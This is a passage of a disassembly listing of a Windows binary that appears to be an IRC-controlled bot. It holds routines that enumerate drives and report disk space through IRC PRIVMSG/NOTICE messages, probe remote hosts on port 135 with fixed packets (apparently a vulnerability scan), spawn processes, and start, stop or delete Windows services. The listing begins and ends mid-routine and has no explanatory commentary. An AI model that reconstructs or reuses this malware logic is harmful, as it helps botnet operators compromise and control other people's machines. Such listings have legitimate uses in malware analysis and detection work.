locret_40CFFF:				; CODE XREF: sub_40CFE3+Aj
		retn
sub_40CFE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D000	proc near		; CODE XREF: sub_40EE72+2A7Ep
					; sub_40EE72+2BA4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4197F9
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40D000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D01A	proc near		; CODE XREF: sub_406387+458p
					; sub_406387+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_443A38
		push	0
		push	edi
		call	sub_417330
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]

loc_40D03F:				; CODE XREF: sub_40D01A+5Bj
					; sub_40D01A+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_4191D0
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_419250
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_40D07D
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40D03F
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40D03F
; ---------------------------------------------------------------------------

loc_40D07D:				; CODE XREF: sub_40D01A+4Bj
		dec	esi
		mov	eax, edi

loc_40D080:				; CODE XREF: sub_40D01A+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_40D08F
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_40D080
; ---------------------------------------------------------------------------

loc_40D08F:				; CODE XREF: sub_40D01A+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D01A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D099	proc near		; CODE XREF: sub_40D24E+51p
					; sub_40D24E+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_43F6C8	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_40D0DC
		dec	eax
		jz	short loc_40D0D6
		dec	eax
		dec	eax
		jz	short loc_40D0D0
		dec	eax
		jz	short loc_40D0CA
		dec	eax
		jz	short loc_40D0C4
		dec	eax
		jz	short loc_40D0BE
		mov	eax, offset word_42DDD0
		retn
; ---------------------------------------------------------------------------

loc_40D0BE:				; CODE XREF: sub_40D099+1Dj
		mov	eax, offset aRam ; "RAM"
		retn
; ---------------------------------------------------------------------------

loc_40D0C4:				; CODE XREF: sub_40D099+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------

loc_40D0CA:				; CODE XREF: sub_40D099+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------

loc_40D0D0:				; CODE XREF: sub_40D099+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------

loc_40D0D6:				; CODE XREF: sub_40D099+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------

loc_40D0DC:				; CODE XREF: sub_40D099+Dj
		mov	eax, offset aUnknown_0 ; "Unknown"
		retn
sub_40D099	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D0E2	proc near		; CODE XREF: sub_40D12A+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_43F564
		test	eax, eax
		jz	short loc_40D117
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA

loc_40D117:				; CODE XREF: sub_40D0E2+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40D0E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D12A	proc near		; CODE XREF: sub_40B8D8+1F3p
					; sub_40D24E+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40D0E2
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		pop	ebx
		jmp	short loc_40D23A
; ---------------------------------------------------------------------------

loc_40D208:				; CODE XREF: sub_40D12A+2Cj
					; sub_40D12A+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_4172AE
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_4172AE
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx

loc_40D23A:				; CODE XREF: sub_40D12A+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40D12A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D24E	proc near		; CODE XREF: sub_40D320+17p
					; sub_40D320+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_40D12A
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_4176D0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40D2C1
		push	ebx
		push	ebx
		call	sub_40D099
		pop	ecx
		push	eax
		push	offset unk_42E6A4
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	short loc_40D2F5
; ---------------------------------------------------------------------------

loc_40D2C1:				; CODE XREF: sub_40D24E+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_40D099
		pop	ecx
		push	eax
		push	offset unk_42E658
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 20h

loc_40D2F5:				; CODE XREF: sub_40D24E+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_40BF6D
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D24E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D320	proc near		; CODE XREF: sub_40EE72+57EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40D341
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D24E
		add	esp, 10h
		jmp	short loc_40D3A2
; ---------------------------------------------------------------------------

loc_40D341:				; CODE XREF: sub_40D320+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	ds:dword_43F5D8	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_417B89
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	ds:dword_43F5D8	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40D399

loc_40D365:				; CODE XREF: sub_40D320+77j
		push	offset aA_0	; "A:\\"
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D388
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D24E
		add	esp, 10h

loc_40D388:				; CODE XREF: sub_40D320+54j
		push	esi
		call	sub_417AB0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_40D365

loc_40D399:				; CODE XREF: sub_40D320+43j
		push	edi
		call	sub_417C3B
		pop	ecx
		pop	edi
		pop	esi

loc_40D3A2:				; CODE XREF: sub_40D320+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40D320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D3A5	proc near		; DATA XREF: sub_40E6A9+11o

var_2A4		= dword	ptr -2A4h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	ds:dword_4450CC
		call	ds:dword_43F700	; closesocket
		call	sub_416F23
		call	ds:dword_43F5C8	; WSACleanup
		call	ds:dword_43F5C8	; WSACleanup
		mov	ebx, ds:dword_424064
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43C80C
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	ds:dword_424068	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	ds:off_424094
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	ds:dword_424120	; CreateProcessA
		test	eax, eax
		jz	short loc_40D46A
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, ds:off_424078
		call	esi ; sub_49C3D5
		push	[ebp+var_C]
		call	esi ; sub_49C3D5

loc_40D46A:				; CODE XREF: sub_40D3A5+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_443A70
		mov	eax, [esp+2A4h+var_2A4]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	ds:off_42414C
		pop	edi
		pop	esi
		pop	ebx
sub_40D3A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D48D	proc near		; CODE XREF: sub_40D4C5+125p
					; sub_40D4C5+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_40D4BB

loc_40D49E:				; CODE XREF: sub_40D48D+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_4198F0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D4C1
		inc	esi
		cmp	esi, edi
		jl	short loc_40D49E

loc_40D4BB:				; CODE XREF: sub_40D48D+Fj
		xor	al, al

loc_40D4BD:				; CODE XREF: sub_40D48D+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40D4C1:				; CODE XREF: sub_40D48D+27j
		mov	al, 1
		jmp	short loc_40D4BD
sub_40D48D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D4C5	proc near		; CODE XREF: sub_402DD7+8Bp
					; sub_402DD7+174p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_417B30
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_40D506
		dec	eax
		jz	short loc_40D4E4
		dec	eax

loc_40D4DE:				; CODE XREF: sub_40D4C5+57j
		xor	eax, eax

loc_40D4E0:				; CODE XREF: sub_40D4C5+3Fj
					; sub_40D4C5+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D4E4:				; CODE XREF: sub_40D4C5+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	ds:dword_43F6A8	; inet_addr
		push	eax
		call	sub_4076CA
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_40D4E0
; ---------------------------------------------------------------------------

loc_40D506:				; CODE XREF: sub_40D4C5+13j
		push	6
		push	1
		push	2
		call	ds:dword_43F6E8	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_40D4DE
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	ds:dword_43F668	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40ADCA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_43F610	; connect
		cmp	eax, edi
		jz	loc_40D622
		push	ebx
		push	48h
		push	offset dword_42E6F4
		push	esi
		call	ds:dword_43F6B8	; send
		cmp	eax, edi
		jz	loc_40D622
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43F680	; recv
		cmp	eax, edi
		jz	loc_40D622
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_40D622
		push	ebx
		push	18h
		push	offset dword_42E740
		push	[ebp+arg_4]
		call	ds:dword_43F6B8	; send
		cmp	eax, edi
		jz	short loc_40D622
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43F680	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_40D622
		cmp	[ebp+var_200E],	2
		jnz	short loc_40D622
		push	10h
		push	offset loc_42E75C
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D48D
		add	esp, 10h
		test	al, al
		jz	short loc_40D602
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_40D622
; ---------------------------------------------------------------------------

loc_40D602:				; CODE XREF: sub_40D4C5+12Fj
		push	10h
		push	offset dword_42E770
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D48D
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax

loc_40D622:				; CODE XREF: sub_40D4C5+9Bj
					; sub_40D4C5+B2j ...
		push	[ebp+arg_4]
		call	ds:dword_43F700	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	loc_40D4E0
sub_40D4C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D633	proc near		; CODE XREF: sub_40ECFA+3Dp
					; sub_40EE72+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_4193FF
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43F6B8	; send
		leave
		retn
sub_40D633	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D679	proc near		; CODE XREF: sub_401000+8Bp
					; sub_40144A+76p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_40D694
		mov	edi, offset aPrivmsg ; "PRIVMSG"

loc_40D694:				; CODE XREF: sub_40D679+14j
		push	edi
		call	sub_417AB0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_417AB0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_3	; "%s"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_42E784
		push	eax
		call	sub_4172AE
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43F6B8	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_40D717
		push	7D0h
		call	ds:dword_424064	; Sleep

locret_40D717:				; CODE XREF: sub_40D679+91j
		leave
		retn
sub_40D679	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D719	proc near		; CODE XREF: sub_40EE72:loc_410F84p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_40D771
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	ds:dword_42E7A8[esi]
		push	edi
		push	eax
		call	sub_40D793
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40D761
		push	edi
		push	ds:off_42E7A4[esi]
		push	offset dword_42E8D4

loc_40D751:				; CODE XREF: sub_40D719+56j
		mov	esi, offset dword_444138
		push	esi
		call	sub_4172AE
		add	esp, 10h
		jmp	short loc_40D78E
; ---------------------------------------------------------------------------

loc_40D761:				; CODE XREF: sub_40D719+2Aj
		push	eax
		call	sub_40D835
		pop	ecx
		push	eax
		push	edi
		push	offset dword_42E89C
		jmp	short loc_40D751
; ---------------------------------------------------------------------------

loc_40D771:				; CODE XREF: sub_40D719+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_444138
		push	ds:off_42E7A0[eax*4]
		push	offset dword_42E868
		push	esi
		call	sub_4172AE
		add	esp, 0Ch

loc_40D78E:				; CODE XREF: sub_40D719+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_40D719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D793	proc near		; CODE XREF: sub_40D719+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	ds:dword_43F65C	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40D7BA
		call	ds:dword_42408C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_40D82F
; ---------------------------------------------------------------------------

loc_40D7BA:				; CODE XREF: sub_40D793+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_43F550	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_40D7DA
		call	ds:dword_42408C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_40D827
; ---------------------------------------------------------------------------

loc_40D7DA:				; CODE XREF: sub_40D793+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_40D80D
		cmp	eax, 3
		jz	short loc_40D7FE
		jle	short loc_40D820
		cmp	eax, 6
		jg	short loc_40D820
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	ds:dword_43F5B8	; ControlService
		jmp	short loc_40D814
; ---------------------------------------------------------------------------

loc_40D7FE:				; CODE XREF: sub_40D793+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	ds:dword_43F558	; StartServiceA
		jmp	short loc_40D814
; ---------------------------------------------------------------------------

loc_40D80D:				; CODE XREF: sub_40D793+4Dj
		push	esi
		call	ds:dword_43F5BC	; DeleteService

loc_40D814:				; CODE XREF: sub_40D793+69j
					; sub_40D793+78j
		test	eax, eax
		jnz	short loc_40D820
		call	ds:dword_42408C	; RtlGetLastWin32Error
		mov	ebx, eax

loc_40D820:				; CODE XREF: sub_40D793+54j
					; sub_40D793+59j ...
		push	esi
		call	ds:dword_43F56C	; CloseServiceHandle

loc_40D827:				; CODE XREF: sub_40D793+45j
		push	edi
		call	ds:dword_43F56C	; CloseServiceHandle
		pop	esi

loc_40D82F:				; CODE XREF: sub_40D793+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_40D793	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D835	proc near		; CODE XREF: sub_40D719+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_40D8EA
		jz	loc_40D8E3
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_40D8AD
		jz	short loc_40D8A3
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_40D899
		dec	ecx
		dec	ecx
		jz	short loc_40D88F
		dec	ecx
		jz	short loc_40D885
		sub	ecx, 51h
		jz	short loc_40D87B
		sub	ecx, 24h
		jnz	loc_40D960	; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D87B:				; CODE XREF: sub_40D835+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D885:				; CODE XREF: sub_40D835+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D88F:				; CODE XREF: sub_40D835+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D899:				; CODE XREF: sub_40D835+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D8A3:				; CODE XREF: sub_40D835+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D8AD:				; CODE XREF: sub_40D835+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_40D8DC
		dec	ecx
		jz	short loc_40D8D5
		dec	ecx
		jz	short loc_40D8CE
		dec	ecx
		jnz	loc_40D960	; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D8CE:				; CODE XREF: sub_40D835+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D8D5:				; CODE XREF: sub_40D835+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D8DC:				; CODE XREF: sub_40D835+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D8E3:				; CODE XREF: sub_40D835+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D8EA:				; CODE XREF: sub_40D835+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_40D960 ; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_40D94D
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_40D960 ; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_40D9A1[ecx]
		jmp	off_40D979[ecx*4] ; switch jump

loc_40D90E:				; DATA XREF: _0:off_40D979o
		push	offset aTheSpecifiedDa ; jumptable 0040D907 case 7
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D915:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: _0:off_40D979o
		push	offset aTheServiceDepe ; jumptable 0040D907 case 17
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D91C:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: _0:off_40D979o
		push	offset aTheServiceDe_0 ; jumptable 0040D907 case 10
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D923:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: _0:off_40D979o
		push	offset aTheServiceHasB ; jumptable 0040D907 case 0
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D92A:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: _0:off_40D979o
		push	offset aTheSpecified_0 ; jumptable 0040D907 case 2
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D931:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: _0:off_40D979o
		push	offset aTheServiceCoul ; jumptable 0040D907 case 11
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D938:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: _0:off_40D979o
